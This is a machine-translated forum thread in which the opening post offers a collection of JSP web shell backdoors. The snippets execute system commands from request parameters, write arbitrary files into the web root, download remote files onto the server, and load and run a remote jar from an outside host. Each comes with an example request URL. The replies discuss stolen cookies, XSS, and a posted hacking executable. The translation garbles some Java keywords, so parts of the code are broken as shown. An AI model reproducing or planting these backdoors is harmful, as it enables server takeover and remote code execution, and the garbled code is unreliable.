Αυτό το άρθρο είναι ένα άρθρο καθρέφτη της αυτόματης μετάφρασης, κάντε κλικ εδώ για να μεταβείτε στο αρχικό άρθρο.

Άποψη: 15287|Απάντηση: 7

[Εργαλεία ασφαλείας] Χειρόγραφη κερκόπορτα JSP

[Αντιγραφή συνδέσμου]
Δημοσιεύτηκε στις 2/1/2015 6:46:57 μ.μ. | | | |
Μεταφορά από: http://p2j.cn/?p=1627
1. Εκτελέστε εντολές συστήματος:
Εκτελέστε εντολές συστήματος χωρίς ηχώ:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
Αίτημα: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
Δεν θα υπάρχει ηχώ μετά την εκτέλεση, κάτι που είναι πολύ βολικό για κοχύλια αναπήδησης.
Υπάρχουν ηχώ με την επαλήθευση κωδικού πρόσβασης:
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        byte[] b = νέο byte[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){ out.println(new String(b));        } out.print("</pre>");    }%>
Αίτηση: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2. Κωδικοποιήστε τη συμβολοσειρά και γράψτε την στο καθορισμένο αρχείο:
1:
<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>
Αίτηση: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Γράψτε στον κατάλογο ιστού:
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>
Αίτηση: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Αίτηση: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Γράψτε στον κατάλογο ιστού:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Αίτηση: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
3: Κατεβάστε το απομακρυσμένο αρχείο (εάν δεν χρησιμοποιείτε βοηθητικά προγράμματα apache io, δεν μπορείτε να μετατρέψετε τη ροή εισόδου σε byte, επομένως είναι πολύ μεγάλη...)
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    byte[] b = νέο byte[1024];    java.io.ByteArrayOutputStream baos = νέο java.io.ByteArrayOutputStream();    int a = -1;    ενώ ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
Αίτημα: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
Λήψη στη διαδρομή web:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    byte[] b = νέο byte[1024];    java.io.ByteArrayOutputStream baos = νέο java.io.ByteArrayOutputStream();    int a = -1;    ενώ ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
Αίτημα: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
Τέσσερα: Η αντανάκλαση καλεί το εξωτερικό βάζο, τελειοποιήστε την πίσω πόρτα
Εάν δεν σας αρέσει η παραπάνω λειτουργία backdoor είναι πολύ αδύναμη και ξεπερασμένη, μπορείτε να δοκιμάσετε αυτό:
<%=Class.forName("Φόρτωση",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%>
Αίτηση: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

Σύνδεση μαχαιριού κουζίνας: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, κωδικός πρόσβασης 023.

Λύση:
Χρησιμοποιήστε την αντανάκλαση για να φορτώσετε ένα εξωτερικό βάζο στην τρέχουσα εφαρμογή και η αντανάκλαση εκτελεί το αποτέλεσμα της επεξεργασίας εξόδου. request.getParameterMap() περιέχει όλες τις παραμέτρους που ζητήθηκαν. Εφόσον έχει φορτωθεί το εξωτερικό πακέτο jar, ο διακομιστής πρέπει να έχει πρόσβαση σε αυτήν τη διεύθυνση jar.




Προηγούμενος:Η κρίση πίσω από το αρχείο κειμένου TXT
Επόμενος:Κρυπτογράφηση Java MD5, κρυπτογράφηση και αποκρυπτογράφηση Base64 Η Java εκτελεί τον πηγαίο κώδικα εντολών συστήματος
Δημοσιεύτηκε στις 2/1/2015 8:17:30 μ.μ. |
Ερευνάτε πρόσφατα το jsp backdoor;
 Σπιτονοικοκύρης| Δημοσιεύτηκε στις 2/1/2015 8:39:44 μ.μ. |
admin δημοσιεύτηκε στις 2015-1-2 20:17
Ερευνάτε πρόσφατα το jsp backdoor;

Έχετε δει ποτέ το jsp σε μία πρόταση; Το βρήκα, δεν το μελέτησα σε βάθος, δεν κατάλαβα το xss, τελικά πήρα τα cookies χθες και δεν ξέρω πώς να τροποποιήσω τη μεταφόρτωση cookie
Δημοσιεύτηκε στις 2/1/2015 8:44:40 μ.μ. |
Delver_Si Δημοσιεύτηκε στις 2015-1-2 20:39
Έχετε δει ποτέ το jsp σε μία πρόταση; Το βρήκα, δεν έσκαψα πιο βαθιά, δεν κατάλαβα xss, τελικά πήρα τα μπισκότα χθες, δεν ξέρω πώς να τροποποιήσω το cooki...

Δεν θα κλαπούν τα cookies μου με ένα εξατομικευμένο αρχείο υπογραφής,,,

Χρησιμοποιήστε το πρόσθετο HackBar του Firefox
Δημοσιεύτηκε στις 2/1/2015 8:48:57 μ.μ. |
Delver_Si Δημοσιεύτηκε στις 2015-1-2 20:39
Έχετε δει ποτέ το jsp σε μία πρόταση; Το βρήκα, δεν έσκαψα πιο βαθιά, δεν κατάλαβα xss, τελικά πήρα τα μπισκότα χθες, δεν ξέρω πώς να τροποποιήσω το cooki...

Πολυλειτουργικό πρόγραμμα περιήγησης Ghost Brother v1.0


鬼哥多功能浏览器v1.0.exe (72 KB, Αριθμός λήψεων: 7, Τιμή πώλησης: 1 Κόκκος MB)
 Σπιτονοικοκύρης| Δημοσιεύτηκε στις 2/1/2015 8:57:50 μ.μ. |
admin δημοσιεύτηκε στις 2015-1-2 20:44
Δεν θα κλαπούν τα cookies μου με ένα εξατομικευμένο αρχείο υπογραφής,,,

Χρησιμοποιήστε το πρόσθετο HackBar του Firefox

Χθες, η ελεύθερη πόρτα ήταν σπασμωδική και δεν μπορούσα να συνδεθώ και δεν μπορούσα να μπω στο κατάστημα Firefox.
 Σπιτονοικοκύρης| Δημοσιεύτηκε στις 2/1/2015 8:59:01 μ.μ. |
admin δημοσιεύτηκε στις 2015-1-2 20:44
Δεν θα κλαπούν τα cookies μου με ένα εξατομικευμένο αρχείο υπογραφής,,,

Χρησιμοποιήστε το πρόσθετο HackBar του Firefox

Η DZ δεν έχει αυτό το κενό
Δημοσιεύτηκε στις 2/1/2015 9:00:22 μ.μ. |
Delver_Si Δημοσιεύτηκε στις 2015-1-2 20:59
Η DZ δεν έχει αυτό το κενό

Δεν ξέρω, μπορείτε να το δοκιμάσετε, μην χαλάσετε τη βάση δεδομένων μου   

Όλοι χρησιμοποιούμε το Tor Browser για να ξεπεράσουμε τον τοίχο

Αποκήρυξη:
Όλο το λογισμικό, το υλικό προγραμματισμού ή τα άρθρα που δημοσιεύονται από το Code Farmer Network προορίζονται μόνο για μαθησιακούς και ερευνητικούς σκοπούς. Το παραπάνω περιεχόμενο δεν θα χρησιμοποιηθεί για εμπορικούς ή παράνομους σκοπούς, άλλως οι χρήστες θα υποστούν όλες τις συνέπειες. Οι πληροφορίες σε αυτόν τον ιστότοπο προέρχονται από το Διαδίκτυο και οι διαφορές πνευματικών δικαιωμάτων δεν έχουν καμία σχέση με αυτόν τον ιστότοπο. Πρέπει να διαγράψετε εντελώς το παραπάνω περιεχόμενο από τον υπολογιστή σας εντός 24 ωρών από τη λήψη. Εάν σας αρέσει το πρόγραμμα, υποστηρίξτε γνήσιο λογισμικό, αγοράστε εγγραφή και λάβετε καλύτερες γνήσιες υπηρεσίες. Εάν υπάρχει οποιαδήποτε παραβίαση, επικοινωνήστε μαζί μας μέσω email.

Mail To:help@itsvse.com